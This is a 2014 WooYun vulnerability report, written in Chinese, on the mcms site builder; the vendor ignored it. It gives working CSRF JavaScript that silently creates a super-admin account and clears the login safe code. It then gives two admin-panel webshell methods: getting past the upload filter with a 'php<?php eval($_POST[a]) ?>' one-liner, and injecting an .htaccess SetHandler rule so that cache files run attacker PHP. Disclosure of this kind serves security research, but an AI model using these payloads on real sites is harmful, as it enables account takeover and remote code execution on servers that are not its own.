当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060267

漏洞标题:mcms后台csrf加管理+2种后台getshell方式

相关厂商:mcms.cc

漏洞作者: phith0n

提交时间:2014-05-12 11:33

修复时间:2014-08-07 11:34

公开时间:2014-08-07 11:34

漏洞类型:CSRF

危害等级:低

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-12: 细节已通知厂商并且等待厂商处理中
2014-05-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-11: 细节向核心白帽子及相关领域专家公开
2014-07-21: 细节向普通白帽子公开
2014-07-31: 细节向实习白帽子公开
2014-08-07: 细节向公众公开

简要描述:

mcms手机建站之星,审的差不多了,最后发一个吧。还有些代码中间有些地方有点危险,但暂时没发现能造成什么漏洞。
加之前那个后台getshell方法,一共三弹,都不一样,有不同的新姿势。

详细说明:

mcms后台没有验证token,所以可以导致csrf(不过前提是,要有后台地址)。除了可以直接getshell以外,还可以加个管理账户,手动getshell,这样更保险。
csrf加管理的javascript代码如下:

gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
gum.post('http://localhost/mcms/adm/admin_list.php?m=edit', {
'aname': 'testa',
'apass': '123456',
're_pass': '123456',
'group_id': '1'
});


将这段js插入任意html页面中,诱使管理员访问,即可为mcms增加一个用户名是testa,密码是123456的超级管理员账号:

01.jpg


不过登录后台还有一个“安全码”,这个安全码也是在配置文件中的。所以我们再使用一个类似的CSRF(具体怎么配置两个CSRF,怎么诱导管理员访问,这个应该不难),将安全码设置为空:

//...类似
gum.post('http://localhost/mcms/adm/set.php?m=save', {
'SAFE_CODE': ''
})


之后使用testa登录之,开始getshell。

02.jpg


出了之前说的配置文件插马(配置文件用的双引号,你懂的)的方式,还有两种getshell方式:
#getshell-1
后台配置 - 基本设置 - 文件上传

03.jpg


加入php后缀。
有同学说,这尼玛也太简单了吧。。。其实没你想的那么简单。。。
我们随便找个上传的地方,上传一个php一句话:

04.jpg


它告诉我“非法图像文件2”。上传.php文件依旧会报错。
我们翻源码,来到上传文件的类,core/upload.class.php,112行:

$tmp_con=@file_get_contents($source_file_name);
if(strpos($tmp_con,'php')>0){
$this->error = '非法图像文件2';
@unlink($source_file_name);
return false;
}


吓尿了,原来检查了文件内容,如果其中出现php,就报错。下面有两种解决方案:
01).使用短标签<? eval($_POST[a]) ?>,这样的一句话不出现php。但部分环境不支持短标签。
02).我们看到它使用strpos检查上传的文件中是否含有php这个关键字,但strpos函数是返回目标中第一次出现php的位置。所以,只要我们php这个关键字在第0个位置,就不会进入这个if语句了。所以我们上传"php<?php eval($_POST[a]) ?>"这样的一句话即可:
可以看到上传成功了:

05.jpg


打开可以执行:

06.jpg


#getshell-2
mcms后台可以自定义url rewrite规则的,并且mcms会把生成好的规则文件放在web根目录下。我们知道,apache的rewrite规则放在.htaccess文件中,子目录都会继承这个.htaccess的配置。
先科普一下,如果我们在.htaccess中加入以下设置,我们的apache将会把所有名字中有xxx的文件都解析成php执行:

<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>


所以大家想到了什么?我们将rewrite规则的最后一项用</IfModule>闭合掉,然后加上上述设置:

09.jpg


看到.htaccess文件,发现已经变了:

07.jpg


我让所有文件名中含有“_categories”的都解析成php。为什么呢?
因为mcms的某个缓存文件是这个名字。这样我就不用上传文件了(上传的时候又会遇到那个蛋疼的检测,知识重复了)。我们把php代码写到缓存里,让后让其执行。
来到文档 - 文档分类,随便编辑一个分类的SEO设置 - SEO标题,写入你要执行的php代码:

08.jpg


然后保存,清理一下缓存,再访问一下前台(等于更新缓存了)。
访问cache/localhost_mcms_categories就能看到,我们的代码已经执行了:

10.jpg


以上两个getshell方法,都是一些cms中可能会出现的后台getshell方法,第一个看起来似乎很简单,但也涉及到绕过上传文件内容检测。第二个比较新颖,通过.htaccess来造成一个解析漏洞,去解析原本不应该解析的缓存文件,执行任意代码。

漏洞证明:

见详细说明。

修复方案:

多而杂,按要点一个一个修复,你们应该会的。主要是CSRF,需要加token,后台getshell可以慢慢修复。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-07 11:34

厂商回复:

最新状态:

暂无